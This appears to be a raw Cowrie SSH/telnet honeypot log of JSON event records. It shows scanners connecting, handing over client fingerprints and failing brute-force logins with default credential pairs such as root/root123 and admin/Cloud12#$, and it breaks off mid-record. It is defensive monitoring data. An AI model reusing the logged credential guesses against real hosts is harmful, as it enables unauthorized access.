{"eventid":"cowrie.session.closed","duration":34.38540959358215,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:39.834984Z","src_ip":"206.189.71.75","session":"c6ea109bf70f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56010,"dst_ip":"10.17.0.5","dst_port":22,"session":"f39d95e4f6e6","protocol":"ssh","message":"New connection: 192.109.200.78:56010 (10.17.0.5:22) [session: f39d95e4f6e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:40.016451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:40.021266Z","src_ip":"192.109.200.78","session":"f39d95e4f6e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:40.103592Z","src_ip":"192.109.200.78","session":"f39d95e4f6e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:40.349657Z","src_ip":"192.109.200.78","session":"f39d95e4f6e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:41.437406Z","src_ip":"192.109.200.78","session":"f39d95e4f6e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.19882774353027,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:42.141537Z","src_ip":"206.189.71.75","session":"c8862788a851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56022,"dst_ip":"10.17.0.5","dst_port":22,"session":"842e5d6ea456","protocol":"ssh","message":"New connection: 192.109.200.78:56022 (10.17.0.5:22) [session: 842e5d6ea456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:44.061195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:44.066393Z","src_ip":"192.109.200.78","session":"842e5d6ea456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.41113018989563,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:44.115992Z","src_ip":"206.189.71.75","session":"fd36ed8eea38","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:44.148480Z","src_ip":"192.109.200.78","session":"842e5d6ea456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:44.615615Z","src_ip":"192.109.200.78","session":"842e5d6ea456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:45.700310Z","src_ip":"192.109.200.78","session":"842e5d6ea456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47188,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a62ab1bbe35","protocol":"ssh","message":"New connection: 192.109.200.78:47188 (10.17.0.5:22) [session: 4a62ab1bbe35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:48.422656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:48.427317Z","src_ip":"192.109.200.78","session":"4a62ab1bbe35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:48.511362Z","src_ip":"192.109.200.78","session":"4a62ab1bbe35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.41176104545593,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:48.654097Z","src_ip":"206.189.71.75","session":"ab8f701e437f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:48.760051Z","src_ip":"192.109.200.78","session":"4a62ab1bbe35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:49.844274Z","src_ip":"192.109.200.78","session":"4a62ab1bbe35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47200,"dst_ip":"10.17.0.5","dst_port":22,"session":"771a2ab27770","protocol":"ssh","message":"New connection: 192.109.200.78:47200 (10.17.0.5:22) [session: 771a2ab27770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:52.505984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:52.646052Z","src_ip":"192.109.200.78","session":"771a2ab27770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:52.649981Z","src_ip":"192.109.200.78","session":"771a2ab27770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:53.328963Z","src_ip":"192.109.200.78","session":"771a2ab27770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:54.414088Z","src_ip":"192.109.200.78","session":"771a2ab27770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53154,"dst_ip":"159.203.135.109","dst_port":22,"session":"67b27dbf2910","protocol":"ssh","message":"New connection: 159.203.92.129:53154 (159.203.135.109:22) [session: 67b27dbf2910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:55.865348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:55.871075Z","src_ip":"159.203.92.129","session":"67b27dbf2910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:55.876564Z","src_ip":"159.203.92.129","session":"67b27dbf2910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Cloud12#$","message":"login attempt [admin/Cloud12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:55.890306Z","src_ip":"159.203.92.129","session":"67b27dbf2910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47210,"dst_ip":"10.17.0.5","dst_port":22,"session":"69bd667a42b0","protocol":"ssh","message":"New connection: 192.109.200.78:47210 (10.17.0.5:22) [session: 69bd667a42b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:56.674210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:56.679289Z","src_ip":"192.109.200.78","session":"69bd667a42b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:56.765696Z","src_ip":"192.109.200.78","session":"69bd667a42b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:56.906806Z","src_ip":"159.203.92.129","session":"67b27dbf2910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.536611557006836,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:57.357680Z","src_ip":"206.189.71.75","session":"06bf1653fd23","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:57.387110Z","src_ip":"192.109.200.78","session":"69bd667a42b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.91888070106506,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:57.872308Z","src_ip":"206.189.71.75","session":"19620bc28c2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:58.476419Z","src_ip":"192.109.200.78","session":"69bd667a42b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":46512,"dst_ip":"159.203.135.109","dst_port":23,"session":"05045d4ed9cc","protocol":"telnet","message":"New connection: 206.189.71.75:46512 (159.203.135.109:23) [session: 05045d4ed9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:11:58.594133Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36562,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7b6ee502ca5","protocol":"ssh","message":"New connection: 192.109.200.78:36562 (10.17.0.5:22) [session: d7b6ee502ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:01.017770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:01.023051Z","src_ip":"192.109.200.78","session":"d7b6ee502ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:01.115711Z","src_ip":"192.109.200.78","session":"d7b6ee502ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:01.376048Z","src_ip":"192.109.200.78","session":"d7b6ee502ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:02.516631Z","src_ip":"192.109.200.78","session":"d7b6ee502ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.23948645591736,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:04.041596Z","src_ip":"206.189.71.75","session":"2f072c63a41c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36566,"dst_ip":"10.17.0.5","dst_port":22,"session":"19a65bb8f8f6","protocol":"ssh","message":"New connection: 192.109.200.78:36566 (10.17.0.5:22) [session: 19a65bb8f8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:05.284386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:12:05.289345Z","src_ip":"192.109.200.78","session":"19a65bb8f8f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh